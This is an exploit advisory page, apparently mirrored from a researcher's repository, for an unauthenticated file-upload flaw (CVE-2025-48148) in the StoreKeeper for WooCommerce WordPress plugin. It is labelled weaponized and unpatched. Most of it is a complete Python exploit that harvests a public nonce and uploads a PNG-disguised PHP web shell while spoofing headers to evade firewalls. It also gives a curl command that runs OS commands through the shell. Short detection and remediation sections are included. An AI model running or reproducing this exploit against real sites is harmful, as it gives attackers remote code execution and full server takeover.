Critical CVE-2025-48148 unpatched

StoreKeeper for WooCommerce Unauthenticated Arbitrary File Upload (CVE-2025-48148)

by Nxploited (Khaled Alenazi) · 2026-07-06

CVSS 9.8/10

Severity: Critical
CVE: CVE-2025-48148
Category: web
Affected product: StoreKeeper for WooCommerce (WordPress plugin)
Affected versions: <= 14.4.4
Disclosed: 2026-07-06
Patch status: unpatched

Metadata

Field	Value
Date Added	2026-07-06
Last Updated	2026-07-06
Author / Researcher	Nxploited (Khaled Alenazi)
CVE / Advisory	CVE-2025-48148
Category	web
Severity	Critical
CVSS Score	9.8 (per NVD)
Status	Weaponized
Tags	wordpress, woocommerce, storekeeper, arbitrary-file-upload, unauthenticated, webshell, rce, cwe-434, python
Related	N/A

Affected Target

Field	Value
Software / System	StoreKeeper for WooCommerce (WordPress plugin)
Versions Affected	<= 14.4.4
Language / Platform	Python 3 PoC targeting a PHP/WordPress site
Authentication Required	No
Network Access Required	Yes (HTTP to target WordPress site)

Summary

The StoreKeeper for WooCommerce plugin exposes an admin-ajax.php action (upload_product_image) that fails to validate the type/extension of uploaded files, in all versions up to and including 14.4.4. An unauthenticated attacker can extract a public AJAX nonce from the target site and then upload a file named shell.php (disguised with a PNG magic-byte header and an image/png MIME type) directly to the WordPress uploads directory. Because the server does not enforce that uploaded “product images” are actually images, the uploaded PHP file is stored and directly executable, giving the attacker unauthenticated remote code execution.

Vulnerability Details

Root Cause

The plugin’s upload_product_image AJAX handler accepts any file submitted in the file POST field and stores it under wp-content/uploads/ without validating the real file type/extension — only a nonce check (not an authentication/capability check) gates the request. The PoC crafts a file named shell.php whose content starts with the PNG magic bytes (\x89PNG\r\n\x1a\n) followed by inline PHP:

1
2
3
4
def write_shell(filename="shell.php"):
    shell_content = b"\x89\x50\x4E\x47\x0D\x0A\x1A\x0A<?php system($_GET['cmd']); ?>"
    with open(filename, "wb") as f:
        f.write(shell_content)

It is then submitted with Content-Type: image/png but the real filename shell.php, and the plugin trusts the request rather than validating file contents:

1
2
3
4
5
6
7
files = {
    'file': ('shell.php', open(shell_path, 'rb'), 'image/png')
}
data = {
    'action': 'upload_product_image',
    'nonce': nonce
}

Because the WordPress nonce for this AJAX action can be harvested from any unauthenticated page load (it is embedded in the page markup, not tied to an authenticated session), no credentials are needed at all.

Attack Vector

Send an unauthenticated GET request to the target WordPress site and scrape the "nonce":"<hex>" value embedded in the page response via regex.
Build a malicious file named shell.php with a PNG magic-byte header followed by a minimal PHP web shell (system($_GET['cmd'])).
POST the file to wp-admin/admin-ajax.php with action=upload_product_image and the harvested nonce, spoofing X-Forwarded-For/Referer/X-Requested-With headers to blend in as a normal AJAX request and evade basic WAF rules.
The plugin saves the file as-is into the public uploads directory and returns its URL (e.g. wp-content/uploads/shell.php) in the JSON response.
The attacker requests shell.php?cmd=<command> directly to execute arbitrary OS commands on the server.

Impact

Unauthenticated remote code execution on any WordPress site running the vulnerable StoreKeeper for WooCommerce plugin — full server compromise, since the uploaded PHP file lands in a web-accessible directory and is executed by the PHP interpreter.

Environment / Lab Setup

Target:   WordPress site with StoreKeeper for WooCommerce plugin <= 14.4.4 active
Attacker: Python 3 + requests library (see requirements.txt)

Proof of Concept

PoC Script

See CVE-2025-48148.py and requirements.txt in this folder.

1
2
3
python3 CVE-2025-48148.py -u "http://TARGET/wordpress/"

curl "http://TARGET/wp-content/uploads/shell.php?cmd=id"

Detection & Indicators of Compromise

Signs of compromise:

Unexpected .php files present in wp-content/uploads/
Files in the uploads directory that begin with the PNG magic-byte signature but contain PHP code
Outbound GET requests to uploaded files carrying a cmd query parameter
Unusual admin-ajax.php?action=upload_product_image traffic from anonymous IPs

Remediation

Action	Detail
Primary fix	Upgrade StoreKeeper for WooCommerce to a version newer than 14.4.4 that enforces server-side file-type/extension validation on uploads
Interim mitigation	Disable or restrict the `upload_product_image` AJAX action pending patch; block execution of PHP files under `wp-content/uploads/` at the web server level; monitor for unauthenticated POSTs to `admin-ajax.php` with this action

References

Source repository

Notes

Mirrored from https://github.com/Nxploited/CVE-2025-48148 on 2026-07-06. The script uses templated Nxploited-style branding and header-spoofing tricks (X-Forwarded-For, X-Originating-IP, etc.) for WAF evasion, but the core exploit logic (nonce harvesting + PNG-disguised PHP upload via upload_product_image) is specific and functional for this CVE.

CVE-2025-48148.py

python raw GitHub ↓ Download

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
# -*- coding: utf-8 -*-
# By: Nxploited (Khaled Alenazi)

import sys
import argparse
import logging
import requests
import re
import os

_logger = logging.getLogger("NxploitedShellUploader")
_handler = logging.StreamHandler()
_formatter = logging.Formatter("%(asctime)s [%(levelname)s] %(message)s", "%Y-%m-%d %H:%M:%S")
_handler.setFormatter(_formatter)
_logger.addHandler(_handler)
_logger.setLevel(logging.INFO)

def get_nonce(site_url):
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
        "Accept": "*/*",
        "Connection": "close",
        "Referer": site_url,
        "X-Forwarded-For": "127.0.0.1",
        "X-Originating-IP": "127.0.0.1",
        "X-Remote-IP": "127.0.0.1",
        "X-Remote-Addr": "127.0.0.1"
    }
    try:
        _logger.info("Requesting site for nonce extraction...")
        resp = requests.get(site_url, headers=headers, timeout=10, allow_redirects=True, verify=False)
    except Exception as e:
        _logger.error(f"Error fetching URL: {e}")
        sys.exit(1)
    m = re.search(r'"nonce":"([a-f0-9]+)"', resp.text)
    if m:
        nonce_val = m.group(1)
        _logger.info(f"Nonce extracted: {nonce_val}")
        return nonce_val
    _logger.error("Nonce not found!")
    sys.exit(1)

def write_shell(filename="shell.php"):
    shell_content = b"\x89\x50\x4E\x47\x0D\x0A\x1A\x0A<?php system($_GET['cmd']); ?>"
    with open(filename, "wb") as f:
        f.write(shell_content)
    _logger.info(f"Shell file created: {filename}")

def upload_shell(site_url, nonce, shell_path):
    base = site_url.rstrip('/').split('/wp-admin/')[0]
    ajax_url = f"{base}/wp-admin/admin-ajax.php"
    files = {
        'file': ('shell.php', open(shell_path, 'rb'), 'image/png')
    }
    data = {
        'action': 'upload_product_image',
        'nonce': nonce
    }
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0",
        "Referer": site_url,
        "X-Requested-With": "XMLHttpRequest",
        "Accept": "*/*",
        "Connection": "close",
        "X-Forwarded-For": "127.0.0.1",
        "X-Originating-IP": "127.0.0.1",
        "X-Remote-IP": "127.0.0.1",
        "X-Remote-Addr": "127.0.0.1",
        "Pragma": "no-cache",
        "Cache-Control": "no-cache"
    }
    try:
        _logger.info(f"Uploading shell to {ajax_url} ...")
        resp = requests.post(ajax_url, files=files, data=data, headers=headers, timeout=15, allow_redirects=True, verify=False)
    except Exception as e:
        _logger.error(f"Upload failed: {e}")
        sys.exit(1)
    _logger.info("Upload response:")
    print(resp.text)

def NxploitedShellUploader():
    parser = argparse.ArgumentParser(description="Nxploited — Exploit For CVE-2025-48148 ")
    parser.add_argument("-u", "--url", required=True, help="Target WordPress site URL (e.g., http://site.com/)")
    parser.add_argument("--debug", action="store_true", help="Enable debug logging")
    args = parser.parse_args()

    if args.debug:
        _logger.setLevel(logging.DEBUG)
        _logger.debug("Debug logging enabled")

    try:
        nonce = get_nonce(args.url)
        write_shell("shell.php")
        upload_shell(args.url, nonce, "shell.php")
        _logger.info("Operation completed.")
    except Exception as e:
        _logger.error(f"Operation failed: {e}")
        sys.exit(1)

if __name__ == "__main__":
    try:
        requests.packages.urllib3.disable_warnings()
    except:
        pass
    NxploitedShellUploader()